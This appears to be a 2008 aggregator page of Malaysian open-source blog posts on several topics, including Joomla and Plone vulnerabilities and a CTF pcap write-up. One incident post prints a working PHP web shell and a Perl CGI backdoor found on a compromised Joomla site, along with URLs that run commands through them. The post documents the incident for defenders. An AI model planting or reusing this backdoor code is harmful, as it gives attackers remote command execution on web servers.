Goa-india » FLOSSAsia

FLOSSAsia (75 unread)

Planet MYOSS

Muhammad Shahriman (Yondie): Driver Backup

Posted: August 20th, 2008, 3:31pm BST

Tags: [edit]
What's the most annoying oxymoron thing about Windows..

That`s right drivers!!!

Just receive few request from several clients asking me to format their notebooks/Pcs since it's infected with all the latest trojan/spyware/worms .I felt annoyed with these people becausse they don't have their Rescue Cds or Drivers Cds provided by their vendors. When ask where those CDs driver gone? The vendor didn't provide any of those driver. Stupid vendor.

So luckily thanks to the SourceForge i found this cool project call DriverBackup.
It's a perfect tools for Windows user who format their PC occasinoally . How to use it?
1. Backup your driver using this software first
2. Format your Windows (pirate or ori)
3. Dump back the drivers.
Easy isn`t it?

http://sourceforge.net/projects/drvback/
Mohd Irwan Jamaluddin: Want To Sell: HP iPAQ 612c (RM1500)

Posted: August 20th, 2008, 8:24am BST

Tags: [edit]

Yes, I want to sell this HP iPAQ 612c with the price of RM1500. Selling Price: RM1500 (no bargain) Market Price: RM1999 Summary: Microsoft® Windows Mobile 6 Professional; Marvell PXA270 Processor 520 MHz; 2.8-inch transmissive TFT 65, 000 colour 240 x 320 pixel touch screen display with LED backlight; 128 MB SDRAM main memory for running applications 256 MB flash ROM; [...]
Eric H. A. Yeoh: Security is not about self-pleasing simians

Posted: August 19th, 2008, 3:37am BST

Tags: [edit]

The comments by Linus about OpenBSD people being self-pleasing monkeys is immature at the least. Sometimes I feel that he does not realise that he is a leader of (in many cases the face of) the GNU/Linux and FOSS worlds.

Young people and many others do look up to him, the fact that he did not like someone accusing him (who does really like to be criticised or accused?) of something does not give him the right to insult.

Security is never over-rated, perhaps many may not share my paranoid views but can you imagine if your banking, credit card information are compromised? What then?

The attitude of many so called IT professionals towards security is basically shameful. Security vendors will always push their wares as a one-stop solution. So what? Plunk a fancy, expensive appliance in your network and everything will be ok?

For any platform there will be always a set of best practices to properly secure the system. Apache HTTPD has theirs, IIS has theirs. But how many actually follow them? How many times we have heard people sacrificing best practices (apply security patches, do not share passwords, use complex passwords, clear separation of privileges, encrypt when possible etc) because it is inconvenient?

Or the lame excuse, nobody will hack us because we are small fish. Well, if I am a cracker in training I will go for smaller outfits, precisely because I know they will not have the resources to track or prosecute me. Smaller outfits are attractive because they can't fight back.

Will we ever compromise our homes' or cars' security? Why have so many locks? Why don't we just don't use any locks? Saves us the trouble of carrying keys right?

Sorry for the rant. I am just so very upset that whenever I speak of the need for security and hardening many would just roll their eyes, and say I am going overboard. That is until things get hacked and they start trembling and scrambling for an answer.
Khairul Aizat Kamarudzzaman (fenris): 10 Ways to Learn New Things in Development

Posted: August 19th, 2008, 12:54am BST

Tags: [edit]
I’ve been thinking of various ways to kick-start learning opportunities in my career and hobbies.

1. Read books. There are tons of books about programming–probably most of them are useless, but there are many, many gems that can greatly influence your abilities.

I still find that it’s easier and faster to find information about many topics in familiar books than to find similarly valuable information online. Read all your books to get to this point.

Books are also valuable from theory, architecture, design point of view. There just aren’t that many places on the web to get high-quality, authoritative instruction in this.

2. Read Code. This is something I was late to. I didn’t start reading a lot of significant code until after I had a few years of professional programming experience. I would be a better programmer if I had started earlier. I try to read some source code every week (not related to work, not my own, etc.) from an open source project. Start with programs that you use and are interested in. I started with Paint.Net and it solidified a lot of .Net program design technique for me.

Reading other people’s code shows you different ways of doing things than you might have thought of on your own.

3. Write Code - Lots of it. Fundamentally, the best way to learn something is to do it. You can’t fully internalize something until you’ve written it. This starts with something as simple as copying the code examples from tutorials and books. That’s copying by hand, not cut&paste. There’s a difference. The idea is internalize and think, not blindly copy. Look up new API calls as you go. Tweak things.

Most importantly, develop your own projects–whether they’re simple games, participation in an open source project, or a simple plug-in to a program you use.

Try to use new technologies, new techniques, new designs–do things differently. Do things better in this project than in previous ones.

This is really the core point–if you want to be a better developer than develop.

4. Talk to other developers - about specific problems you have, as well as the latest tech news from [Apple|Microsoft|Google|Other]. This not only helps you feel part of a team or a community, but exposes you to a wide variety of different ideas.

Different types of projects require different designs, coding techniques, processes and thinking.

If you work in a small team (like I do) and you don’t have access to many other people, go find some at a local user group meeting. If nothing else, participate in online forums (you’ll have to look harder for an intelligent discussion).

5. Teach others. Similar to just reading code versus writing it, teaching other people can do wonders for forcing you to learn a topic in depth.

The very idea that you’re going to have to teach a topic to someone else should force you to learn something with a far better understanding than you might otherwise. You can face questions.

If you can’t explain a concept to a 6 year-old, you don’t fully understand it. - Albert Einstein

Teaching situations are myriad: one-on-one with your office-mate, water-cooler meetings, informal weekly gatherings, learning lunches, classrooms, seminars, and more.

How about setting up a once-a-week 30 minute informal discussion among like-minded developers? Each week, someone picks a topic they want to know more about and teaches it to the others, instigating a conversation. If you knew were going to teach the group about synchronization objects, don’t you think you’d want to understand the ins and outs of critical section implementation?

6. Listen to podcasts

If you’ve got time where your brain isn’t otherwise occupied, subscribe to podcasts. My current favorite programming-related one is .Net Rocks. They also do a video screen cast called dnrTV.

These will help you keep up on the latest and greatest technologies. You can’t learn everything and podcasts are a good way to get shallow, broad knowledge about a variety of topics, from which you can do your own deep investigations.

If there are other, high-quality developer podcasts, I’d love to hear about them.

7. Read blogs

There are more blogs than people to read them, but some are extremely well-done. I’m not even going to post links to any–there are plenty of other resources out there for that. This is one of the best ways to connect to people who actually develop the software you love and use.

8. Learn a new language

If all you’ve ever done is C(++,#)/Java there are a LOT of other ways to think about computer problems. Learning a new language will change the way you think. It’s not just a different syntax–it’s fundamentally rewiring the brain. Sure, all languages get compiled down to assembler in the end, but that doesn’t mean a high level abstraction isn’t valuable.

Functional, query, and aspect-oriented languages are starting to merge with C-based languages–are you ready?

9. Learn the anti-patterns

Aside from knowing what to do, learn what not to do. Read Dailywtf.com often and take the lessons to heart if you don’t already know.

It’s all well and good to understand proper OO design, coding style, and what you should be writing, but it’s easy to get into bad habits if you’re not careful. Learning to recognize bad ideas is vital when taking charge of a project.

Wikipedia has a thorough breakdown of many common anti-patterns,

10. Be Humble

Learning means:
- Replacing faulty knowledge with better knowledge
- Adding knowledge that you do not already have
There’s no way to learn until you admit you have some deficiencies. It all comes back to humility, doesn’t it? If you ever start thinking you know everything you need to, you’re in trouble. True learning is about hungrily seeking after knowledge and internalizing it. It takes lots effort. We all know this in theory, but we have to be constantly reminded.

balinux at Yahoo! Groups

Re: Tanya hosting balinux

Posted: August 19th, 2008, 9:42pm BST by Adi Setiawan

Tags: [edit]

... sudah, silahken dicek -- Adi Setiawan http://ex3me.org
Tanya hosting balinux

Posted: August 19th, 2008, 8:31pm BST by online_baliwae

Tags: [edit]

halo mas adi cpanelnya balinux kok diakses sering lambat ya. tadi ada permintaan dari panitia ilc 2008 rekan buda, (y!m: i8ud4) buat buatin subdomain

Planet MYOSS

Khairul Aizat Kamarudzzaman (fenris): Launchpad offline 00.00 - 02.00 UTC 21st August 2008

Posted: August 19th, 2008, 6:06pm BST

Tags: [edit]

We’re releasing Launchpad 2.1.8 this week. During the code roll-out
Launchpad will be unavailable for up to two hours.

Going offline: 00.00 UTC 21st August 2008
Expected back before: 02.00 UTC 21st August 2008

We’re sorry for the inconvenience this down-time will cause. I’ll send
details of what’s new in 2.1.8 to this list once we’ve made the release.

If you have any questions or comments, please email me.

–
Matthew Revell - Launchpad.net - free software collaboration and project hosting
muhd. zamri: It takes two to tango

Posted: August 19th, 2008, 4:00pm BST

Tags: [edit]

Yeah.. You may well confused with the title of this post. What the hell it has to do with Linux? Yeah. You got it wrong. Make people confuse is one of the tactic to make readers read your blog. Am i right? Well it doesn't matter.

Last week, I setup 2nd router for my office to make traffic smoother. We experienced slow internet connection lately and no wonder since we have 500 clients accessing the only one router to go to the internet. So after thinking a plan on how to solve it, I came out with a soultion to buy a new and powerful router. 3 days later, I was thinking it was a good idea to split the traffic since we have 2 internet connections. So I setup a second router and split up client connections to the two router evenly. After 2 days, I can say it is successfully make our internet experience a pleasure.

In the new router I installed squid 3.0, BIND and dansguardian. All on Mandriva Spring 2008. So every client connected to one of the router has been setup with gateway and dns point to the router.

So If your office internet connection is becoming slower and slower and you have 2 internet connections, you may to think to split up for smooth traffic to the internet and make your users happy.

cheers!
Nicholas A. Suppiah (tboxmy): A CMS called Plone

Posted: August 19th, 2008, 3:47pm BST

Tags: [edit]
Plone is a content management system using Zope application server. Just like any other popular application, it is prone to hacker attack. There is lesser exploits compared to PHP based CMS,

Example of pre Plone 3.1 security issue is the
Cross Site Request Forging (CSRF) security vulnerability where CSRF attacks work against people with a valid session on a Plone site: an attacker can — by tricking them (or their browser) to make an HTTP request to the site — use their active session and change security sensitive settings such as the users email address.

Following are general precautions on installation of CMS, refer to http://tboxmy.blogspot.com/2008/08/cms-called-joomla.html
Additional precautions you can take:
1. Keep Python updated.
Examples of vulnerability:
Password reset vulnerability, Plone tools did not have proper security checks for its password reset method, allowing anonymous users to reset any users password through the web. (affects pre 2.5)
plone-group-spoofing, Plone could allow a remote attacker to spoof certain information, caused by an unspecified vulnerability in member registration. If anonymous users can register as a member, a remote attacker could exploit this vulnerability and falsely register as a group. (Affects 2.5.1)
Plone CMS cookie places a base64 encoded form of the username and password in the __ac cookie for all user accounts, which makes it easier for remote attackers to obtain access by sniffing the network. (Affect pre 2.5)
Mohammad Shafiq: Life update 02

Posted: August 19th, 2008, 3:03pm BST

Tags: [edit]

Last two weeks, some kids have break into my shop (cc) and happily play it for free from 12am til 5am. bastard. They take nothing but just play it for free. I just realized it when the management system produce a report that indicates the pc is open from 12am til 5am.

I have enabled dyndns services on my linksys router from the start day of my business in 2006, so that I can monitor my cc from anywhere. I have also enable vnc server for the counter’s pc.

So now, for the last week , I have been monitor my cc from my 3g phone to ping the router. If the router is up and managed to grab a screen from my vnc, sure these bastard kids will get a ‘good lesson’ from me. For the moment, I have still not fixing the hole from the ceiling to get these bastard kids. 5 of them.

On the other note, last Sunday, me and my old friends get a tt sessions at Senoko, Stulang. we talk like the old school time from 10pm tll 1.30am in the morning.
Colin Charles: Where I used to live (or how I played with Google Street View)

Posted: August 19th, 2008, 2:04pm BST

Tags: [edit]

This is interesting. Google’s Street View. Yes, I’ve seen a lot about it on the blogosphere, but I decided to finally try it out. The photo is of the house, where I used to live. Zooming in, now I can tell you that to the left of that, is where my dodgy landlord still lives ;)

Actually, more to the point. These pictures were definitely taken this year. I know this because I had the room in front, upstairs, and there were things sticking out between the shutters and the window. This picture is too serene, so must’ve been after November 2007.

I see good potential in Street View. Think about mashups with a site that focuses on you finding rental properties. Now people can comment on the property, look at the surrounding neighbourhood, and basically help you make a better choice at renting.

The real estate industry has moved online (in Australia, I can think of Ray White, LJ Hooker, at the top of my head), but its not really been disrupted. No, domain.com.au isn’t disruption - look who owns it?

I was mildly surprised to find out about HomeSpace.sg from the e27 unconference I attended a few weeks back. Its focus currently is only for homes that are for sale, but they focus on the important aspects - like is it near an MRT, what kind of shopping malls are nearby, if you’re buying a property and have kids in mind, what zone to head to and so on.

They’re mashing it up with Google Maps. Pity there isn’t Street View in Singapore, huh?

Street View does 360° views as well. Nifty, if you ask me. See the surrounds. Does anyone know of a real estate disruptor in Australia, yet? Otherwise, there’s definitely room to start coding one…
Lee Chin Sheng: HeX021: Resolving Ihack 2008 password.pcap

Posted: August 19th, 2008, 1:30pm BST

Tags: [edit]

My friend ayoi has posted Ihack 2008: Defense Challenge here, I don't really have time to look into the whole game. However I have tried to give it a shot for password.pcap to figure out what's the passphrase.

I decide to use HeX liveCD for this quick challenge since chfl4gs_ has presented it in IHack. Initial look at the traffic -

shell>tcpdump -ttttnnr password.pcap
reading from file /home/analyzt/rp-Analysis/password.pcap, link-type EN10MB (Ethernet)
2008-08-14 12:21:11.469308 IP 10.10.3.126.1337 > 10.10.75.1.31337: S 1879048192:1879048192(0) win 512
2008-08-14 12:21:11.469524 IP 10.10.75.1.31337 > 10.10.3.126.1337: R 0:0(0) ack 1879048193 win 0
2008-08-14 12:21:12.212445 IP 10.10.3.126.1337 > 10.10.75.1.31337: S 872415232:872415232(0) win 512
2008-08-14 12:21:12.212549 IP 10.10.75.1.31337 > 10.10.3.126.1337: R 0:0(0) ack 3288334337 win 0
2008-08-14 12:21:12.959563 IP 10.10.3.126.1337 > 10.10.75.1.31337: S 603979776:603979776(0) win 512
2008-08-14 12:21:12.959710 IP 10.10.75.1.31337 > 10.10.3.126.1337: R 0:0(0) ack 3019898881 win 0
2008-08-14 12:21:13.656942 IP 10.10.3.126.1337 > 10.10.75.1.31337: S 889192448:889192448(0) win 512

Output truncated .....

Initial view of the network traffic tells you that the network traffic contains no data transfer, and it is heavily crafted(port). It also hints you that the passphrase should be residing in the packet header. Therefore I start dig into the header by printing it in hex and ascii dump output.

shell>tcpdump -XXttttnnr password.pcap
2008-08-14 12:21:11.469308 IP 10.10.3.126.1337 > 10.10.75.1.31337: S 1879048192:
1879048192(0) win 512
0x0000: 000c 294b dcf1 000c 2945 914a 0800 4500 ..)K....)E.J..E.
0x0010: 0028 5c00 0000 4006 bc3d 0a0a 037e 0a0a .(...@..=...~..
0x0020: 4b01 0539 7a69 7000 0000 0000 0000 5002 K..9zip.......P.
0x0030: 0200 5bad 0000 ..[...
2008-08-14 12:21:11.469524 IP 10.10.75.1.31337 > 10.10.3.126.1337: R 0:0(0) ack
1879048193 win 0
0x0000: 000c 2945 914a 000c 294b dcf1 0800 4500 ..)E.J..)K....E.
0x0010: 0028 0000 4000 4006 d83d 0a0a 4b01 0a0a .(..@.@..=..K...
0x0020: 037e 7a69 0539 0000 0000 7000 0001 5014 .~zi.9....p...P.
0x0030: 0000 5d9a 0000 ..]...
2008-08-14 12:21:12.212445 IP 10.10.3.126.1337 > 10.10.75.1.31337: S 872415232:8
72415232(0) win 512
0x0000: 000c 294b dcf1 000c 2945 914a 0800 4500 ..)K....)E.J..E.
0x0010: 0028 2000 0000 4006 f83d 0a0a 037e 0a0a .(....@..=...~..
0x0020: 4b01 0539 7a69 3400 0000 0000 0000 5002 K..9zi4.......P.
0x0030: 0200 97ad 0000 ......
2008-08-14 12:21:12.212549 IP 10.10.75.1.31337 > 10.10.3.126.1337: R 0:0(0) ack
3288334337 win 0
0x0000: 000c 2945 914a 000c 294b dcf1 0800 4500 ..)E.J..)K....E.
0x0010: 0028 0000 4000 4006 d83d 0a0a 4b01 0a0a .(..@.@..=..K...
0x0020: 037e 7a69 0539 0000 0000 3400 0001 5014 .~zi.9....4...P.
0x0030: 0000 999a 0000 ......

Output truncated .....

When comes to examing the packet header, it's best to look at the pattern, and realizing that some fields are usually static in this case helps you to identify the different, if we look at the 4 packets above, you may spot

10.10.3.126 -> 10.10.75.1 - tcp sequence number
10.10.75.1 -> 10.10.3.126 - tcp acknowledge number(tcp sequence number + 1)

So to get the answer, you can just print the connection from one side(from 10.10.3.126 to 10.10.75.1) -

shell>tcpdump -XXttttnnr password.pcap ip src 10.10.3.126
2008-08-14 12:21:11.469308 IP 10.10.3.126.1337 > 10.10.75.1.31337: S 1879048192:
1879048192(0) win 512
0x0000: 000c 294b dcf1 000c 2945 914a 0800 4500 ..)K....)E.J..E.
0x0010: 0028 5c00 0000 4006 bc3d 0a0a 037e 0a0a .(...@..=...~..
0x0020: 4b01 0539 7a69 7000 0000 0000 0000 5002 K..9zip.......P.
0x0030: 0200 5bad 0000 ..[...
2008-08-14 12:21:12.212445 IP 10.10.3.126.1337 > 10.10.75.1.31337: S 872415232:8
72415232(0) win 512
0x0000: 000c 294b dcf1 000c 2945 914a 0800 4500 ..)K....)E.J..E.
0x0010: 0028 2000 0000 4006 f83d 0a0a 037e 0a0a .(....@..=...~..
0x0020: 4b01 0539 7a69 3400 0000 0000 0000 5002 K..9zi4.......P.
0x0030: 0200 97ad 0000 ......
2008-08-14 12:21:12.959563 IP 10.10.3.126.1337 > 10.10.75.1.31337: S 603979776:6
03979776(0) win 512
0x0000: 000c 294b dcf1 000c 2945 914a 0800 4500 ..)K....)E.J..E.
0x0010: 0028 6200 0000 4006 b63d 0a0a 037e 0a0a .(b...@..=...~..
0x0020: 4b01 0539 7a69 2400 0000 0000 0000 5002 K..9zi$.......P.
0x0030: 0200 a7ad 0000 ......
2008-08-14 12:21:13.656942 IP 10.10.3.126.1337 > 10.10.75.1.31337: S 889192448:8
89192448(0) win 512
0x0000: 000c 294b dcf1 000c 2945 914a 0800 4500 ..)K....)E.J..E.
0x0010: 0028 8d00 0000 4006 8b3d 0a0a 037e 0a0a .(....@..=...~..
0x0020: 4b01 0539 7a69 3500 0000 0000 0000 5002 K..9zi5.......P.
0x0030: 0200 96ad 0000 ......

Output truncated .....

If you want to see another side of the traffic, just tune the bpf filter to ip src 10.10.75.1, however for that you will need to look at the acknowledge number. You should have the answer now.

Anyway when comes to print certain field in the header, you can use tshark(part of wireshark), and force it to print certain field, for example -

shell>tshark -Tfields -e 'tcp.seq' -nr password.pcap -o tcp.relative_sequence_numbers:FALSE -R 'ip.src == 10.10.3.126'
1879048192
872415232
603979776
889192448
1996488704
805306368
1912602624
1677721600
536870912
822083584
889192448
536870912
822083584
838860800
855638016
167772160

That's your answer in decimal, you can convert the number to hex and from hex to ascii. Using pythong quickies -

Decimal to Hex -
shell>python -c 'print hex()'

HeX to Ascii
shell>python -c 'import binascii; print binascii.a2b_hex("")'

You should have the passphrase to unrar Questions.rar

shell>unrar e Questions.rar

Bump in the passphrase and you will be able to retrieve all the files you need.

During the challenge event, I don't see any participants use HeX for this purpose. And lot of them just use wireshark to examine, my opinion is using wireshark is not effective in this scenario as wireshark is great when you want to do per packet examination or dealing with network protocols you are not familiar with. However for this, I would say tcpdump and tshark are more effective tools to obtain the clue.

Enjoy (;])
Colin Charles: YouTube, an MTV replacement

Posted: August 19th, 2008, 11:56am BST

Tags: [edit]

I think YouTube has arrived. MTV, Channel V, and the rest should start worrying. Why?

I have Channel V and MTV on cable TV. I mostly use cable for the news channels, and music, but lately, these music channels are showing more and more “reality TV” shows, news features and other garbage. Yes, Punkd/Jackass is funny (as is the one where a bunch of guys go on dates, do stupid things for cash), but the whole purpose of a music channel is to show me music videos…

I notice that in the States, there’s VH1, which seems to be mostly music centric. VH1 is interesting as a channel… every music video they have, tacks on a little advert for Rhapsody. I’ve never had the privilege of trying Rhapsody, because they’re US only, but its a smart move.

Now why has YouTube arrived for me? Shitty consumer DSL link (1mbps/512kbps) is allowing me to stream music videos in realtime. If I tether a PC to the TV (MythTV maybe? Apple TV?) I’ve got an MTV replacement right there.

Playlist creation is something I think can be improved with YouTube. Maybe a mechanism to cache FLV files locally afterward (does Squid do this?), so that eventually I build up a music video library all thanks to YouTube.

All in all, ways to make cable TV more and more irrelevant (for example, I haven’t bothered with HBO after Sex & The City ended).

Can’t Smile Without You, go Barry Manilow (Live)

Look What You’ve Done - Jet

Good times ahead. Maybe I should just build that Myth box… Wonder how current Mikal+Stewart’s MythTV book still is… (and if there’s coverage on building your MTV killer).
Lee Chin Sheng: Little note about GDB

Posted: August 18th, 2008, 9:15pm BST

Tags: [edit]

This is just for myself as I'm not the guy who uses debugger much. However sometimes it helps when you have core dump for the program you are running. This is simple one of what you can examine with the core dump file.

shell>gdb bro bro.core
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
Core was generated by `bro'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/lib/libmagic.so.3...done.
Loaded symbols for /usr/lib/libmagic.so.3
Reading symbols from /lib/libz.so.4...done.
Loaded symbols for /lib/libz.so.4
Reading symbols from /usr/lib/libssl.so.5...done.
Loaded symbols for /usr/lib/libssl.so.5
Reading symbols from /lib/libcrypto.so.5...done.
Loaded symbols for /lib/libcrypto.so.5
Reading symbols from /lib/libncurses.so.7...done.
Loaded symbols for /lib/libncurses.so.7
Reading symbols from /usr/lib/libstdc++.so.6...done.
Loaded symbols for /usr/lib/libstdc++.so.6
Reading symbols from /lib/libm.so.5...done.
Loaded symbols for /lib/libm.so.5
Reading symbols from /lib/libgcc_s.so.1...done.
Loaded symbols for /lib/libgcc_s.so.1
Reading symbols from /lib/libc.so.7...done.
Loaded symbols for /lib/libc.so.7
Reading symbols from /libexec/ld-elf.so.1...done.
Loaded symbols for /libexec/ld-elf.so.1
#0 0x080518ef in copy_string () at SSLInterpreter.cc:30
30 */

(gdb) print copy_string
$1 = {} 0x80518d0

(gdb) bt
#0 0x080518ef in copy_string () at SSLInterpreter.cc:30
#1 0x0809e249 in DNS_Mapping (this=0x843e6c8,
host=0x810e00c1 , h=0x830c0d0)
at DNS_Mgr.cc:171
#2 0x080a049f in DNS_Mgr::AddResult (this=0x830bd68, dr=0x843e210,
r=0xbfbf9070) at DNS_Mgr.cc:697
#3 0x080a08d6 in DNS_Mgr::Resolve (this=0x830bd68) at DNS_Mgr.cc:601
#4 0x080a0edd in DNS_Mgr::LookupHost (this=0x830bd68,
name=0x843398e "l.root-servers.net") at DNS_Mgr.cc:485
#5 0x0806826a in brolex () at scan.l:330
#6 0x08053d5c in yyparse () at p.c:2277
#7 0x0804efb6 in main (argc=5, argv=0xbfbfebac) at main.cc:751

(gdb) up
#1 0x0809e249 in DNS_Mapping (this=0x843e6c8,
host=0x810e00c1 , h=0x830c0d0)
at DNS_Mgr.cc:171
171 req_host = copy_string(host);

I'm still learning how to interpret them correctly, hopefully more to come.

Cheers ;]
Khairil Yusof: My Better, is Better Than Your Better

Posted: August 18th, 2008, 9:07pm BST

Tags: [edit]

Nike Awake

The Senheisser MX55's work as advertised. I'm able to run and shoot hoops and they stay in the ears. Perfect when you're working out alone.

Not just physical exercise, I'm on my own personal career sprint. Let's go!!
Nicholas A. Suppiah (tboxmy): A CMS called Joomla

Posted: August 18th, 2008, 3:24pm BST

Tags: [edit]
Joomla! is a widely used content management system using PHP and its frameworks. However due to its large user base, hackers have been attracted like bees to honey.

Example of pre Joomla! 1.5.6 security issue is the
Joomla "token" Password Change Vulnerability where the admin password could be reset easily. Users can then install the Joomla explorer component, and upload malicious scripts.

Following are some precautions on installation of Joomla!
1. Patch the OS and its other software
2. Verify that Joomla! is from the official site http://www.joomla.org
3. During installation - Do not use the default MySQL tables prefix as jos_
4. Change the default administrator name (default is admin)
5. Remove all files as instructed by Joomla! And other unneeded files or directories
6. Ensure files and directories have the proper permissions. Below are for Linux based systems.
7. Password protect sensitive directories with .htaccess
8. Move the configuration.php file to outside of the web directory if possible. Make it non-writable.
9. Use a search engine friendly (SEF) URLs
10. Establish a security plan and ensure the relevant parties know about it.
11. Remove unused extensions and themes. Existing extensions and themes should have their version removed from the end user view.
12. Subscribe to Joomla! and the extensions/themes sites for continuous updates. Additional sites that can help with updates:
13. Subscribe to security sites such as http://www.ictsecurity.gov.my/
14. Carryout routine backup of Joomla! Site and its database.
Other references:
For discussion on application security see https://nvd.nist.gov/cwe.cfm#NVD-CWE-DesignError.

My advice to those considering other CMS is this;
All CMS will have their weak points. However Joomla! have thus far been prompt with security notices and updates. Hackers tend to crawl the webs on Friday to Sundays, when systems are unattended. As the care taker of the Joomla! you need to be proactive, it goes the same for any other CMS. Finally, Joomla! is easy to use for end-users and provides lots of features for beautifications.
Harisfazillah Jamel: Joomla Bug Day at OSCC MAMPU

Posted: August 18th, 2008, 3:00pm BST

Tags: [edit]

Joomla Bug Day at OSCC MAMPU

We spend the whole morning discussing about the Joomla! 1.5.x (5 below) bug. You can read Indhran blog about how we reset the admin password.

Rescue Your Joomla 15x Sites

Related blog post

Then Abdullah our Hightech Rojak Blogger found something in the Apache log.

This command

http://oscc.lan/modules/mod_jsys/mod_jsys.php?cmd=ls

When we tried it using web brower like Mozilla Firefox. We can list all the files in the directory. I used that link to find the location of the mod_lsys.php file and used cat to view the file. Simply from the Mozilla Firefox.

http://oscc.lan/modules/mod_jsys/mod_jsys.php?cmd=cat%20/var/www/html/cioconf/modules/mod_jsys/mod_jsys.php

--------- mod_jsys.php content

Welcome Welcome

chmod("../../modules/mod_jsys/mod_jsys.cgi", 0755);

if(!empty($_REQUEST['cmd'])) {
$buf = shell_exec($_REQUEST['cmd']);
$buf = str_replace("n", "
n", $buf);
echo $buf;
}

if(!empty($_REQUEST['patch'])) {
$fd = fopen("../../components/com_user/models/reset.php", "r");
$fd2 = fopen("../../tmp/p", "w");
if(!$fd) {
echo "Unable to patch";
exit;
}
while($buf = fgets($fd)) {
if(!strpos($buf, "block = 0 AND activation = '.$db->Quote(")) {
fwrite($fd2, $buf);
}
else {
fwrite($fd2, 'if($db->Quote($token) == "''") {
die("FUCK OFF RETARD");
}'."n");
fwrite($fd2, ' $db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token));');
}
}
fclose($fd2);
$res = rename("../../tmp/p", "../../components/com_user/models/reset.php");
if($res) {
echo "Patched";
}
else {
echo "Patch failed, unable to copy file";
system("rm -f ../../tmp/p");
}
}

?>

---- mod_jsys.cgi content

#!/usr/bin/perl

print "Content-type: text/htmlrnrn";

print "Welcomen";

@cmd = split(/=/, $ENV{'QUERY_STRING'});
$cmd[1] =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$cmd = `$cmd[1]`;
$cmd =~ s/n/n/g;
print $cmd;
Mohd Shakir: Passwordless MySQL root account in shared hosting

Posted: August 18th, 2008, 1:32pm BST

Tags: [edit]
I was doing some work with many terminals open, and in one terminal I typed the following to access my MySQL databases;
```
$ mysql -u root
```
and I’ve been granted access, as I don’t set any password for my local MySQL account. I was somehow surprised however when I run the following command
```
mysql> show databases;
```
as I’ve been presented with many databases, maybe hundreds of them, and with that I realize something is not right somewhere. Upon checking, I found out that I was accessing the wrong server, and to my surprise again, it’s in my shared webhosting’s server.

When thinking creating rogue PHP scripts will let you do what your jailshell won’t let you do, this incident make me want to have a co-located server even more. I guess it’s a bad idea now to have all my shells to look the same when working with multiple terminals.
Harisfazillah Jamel: Kemerdekaan dan Perisian Sumber Terbuka OSS

Posted: August 18th, 2008, 11:31am BST

Tags: [edit]

Kemerdekaan dan Perisian Sumber Terbuka (OSS)

Tahun 2008 Malaysia menyambut ulang tahun kemerdekaan yang ke 51. Telah 51 tahun Malaysia membebaskan dirinya daripada pelbagai bentuk penjajahan bermula daripada penjajahan politik dan pentadbiran negara dan kemudiannya ekonomi.

Malaysia berjaya berdiri atas kaki sendiri dan makin yakin terhadap diri kita sendiri.

Dunia ICT kini menjadi peneraju utama dalam ekonomi dunia. Kemajuan yang pesat dan perkembangan teknologi ICT telah mewujudkan satu keadaan kita terlalu bergantung kepada teknologi ICT untuk setiap perkara dalam kehidupan manusia.

Komputer, Internet dan perisian kini menjadi keperluan utama kepada setiap kegiatan manusia. Dimana-mana boleh dilihat komputer digunakan dan hampir 90 peratus dipasang dengan sistem operasi Windows syarikat Microsoft Amerika Syarikat.

Keadaan ini membolehkan syarikat-syarikat besar dalam ICT mewujudkan satu keadaan monopoli. Kita seperti tiada pilihan. Tiada pilihan sehingga dianggap menggunakan perisian tanpa membayar lesen merupakan satu kesalahan jenayah.

Kita sebagai pengguna dan juga kerajaan dipaksa untuk membayar harga pelesenan mencecah berjuta-juta ringgit Malaysia.

Berjuta-juta ringgit yang pengguna komputer Malaysia dan kerajaan Malaysia bayar untuk bayaran perlesenan, hanya mengalir keluar daripada negara Malaysia. Tiada kesan atau faedah yang jelas terhadap kita rakyat Malaysia. Semuanya hanya harga diatas kertas.

Bayangkan sekiranya pembayaran perlesenan dialirkan kepada industri ICT Malaysia, ia boleh menjanakan pelbagai peluang dan tindakan yang boleh menghasilkan pelbagai kesan positif terhadap industri ICT Malaysia.

Bayangkan duit harga perlesenan dialirkan dalam negara boleh digunakan untuk tujuan penyelidikan dan kembangkan kemajuan ICT negara Malaysia.

Bayangkan duit harga perlesenan dialirkan dalam negara boleh digunakan untuk latihan tenaga manusia agar lahir pakar-pakar ICT.

Bayangkan duit harga perlesenan dialirkan dalam negara boleh digunakan untuk mendapatkan sokongan teknikal dan perkhidmatan dalam negara.

Perkara-perkara diatas membolehkan Malaysia tidak terlalu bergantung kepada syarikat-syarikat ICT negara luar dan aliran keluar ringgit Malaysia dapat dikurangkan. Adalah baik duit tersebut digunakan untuk pembangunan sumber manusia bidang ICT yang membolehkan Malaysia bersaing dengan lebih baik lagi.

Malah ada usaha untuk meningkatkan harga perlesenan tanpa memikirkan akibat kepada perbelanjaan kerajaan Malaysia. Kos perlesenan dinaikkan semata-mata untuk keuntungan tanpa rasa perlu ambil berat terhadap keperluan negara Malaysia. Ini adalah kerana syarikat-syarikat ICT ini bukanlah berasal daripada Malaysia.

Penjajahan bentuk baru. Menekan sesebuah negara dengan bayaran perlesenan.

Kita perlu merdekakan diri kita daripada penjajahan ICT ...

Open Source Software (OSS) atau Perisian sumber terbuka mewujudkan satu lagi pilihan kepada Malaysia. Perlesenan bagi perisian sumber terbuka (OSS) adalah percuma. Ia boleh dimiliki tanpa perlu membayar apa-apa kos perlesenan.

Perisian sumber terbuka (OSS) bukan sekadar percuma daripada segi harga perlesenan. Free dalam maksud OSS, bermaksud perisian sumber terbuka, boleh dimuat turun sebanyak mana pun, boleh disalin sebanyak mana pun, boleh dipasang sebanyak mana pun dan boleh disebarkan semula sebanyak mana pun, tanpa sekatan perlesenan.

Lagi membezakan perisian sumber terbuka (OSS) dengan yang lain adalah kod sumber, iaitu bagaimana ia dibangunkan, boleh didapati dan disebarkan. Malah perlesenan sumber terbuka, membolehkan kod-kod sumber tersebut diubah dan dibaiki oleh mana-mana individu dan pihak, dengan syarat perubahan yang dilakukan dikongsikan semula kepada pembangun perisian sumber terbuka (OSS) dan orang ramai dan mengekalkan bentuk asal perlesenan.

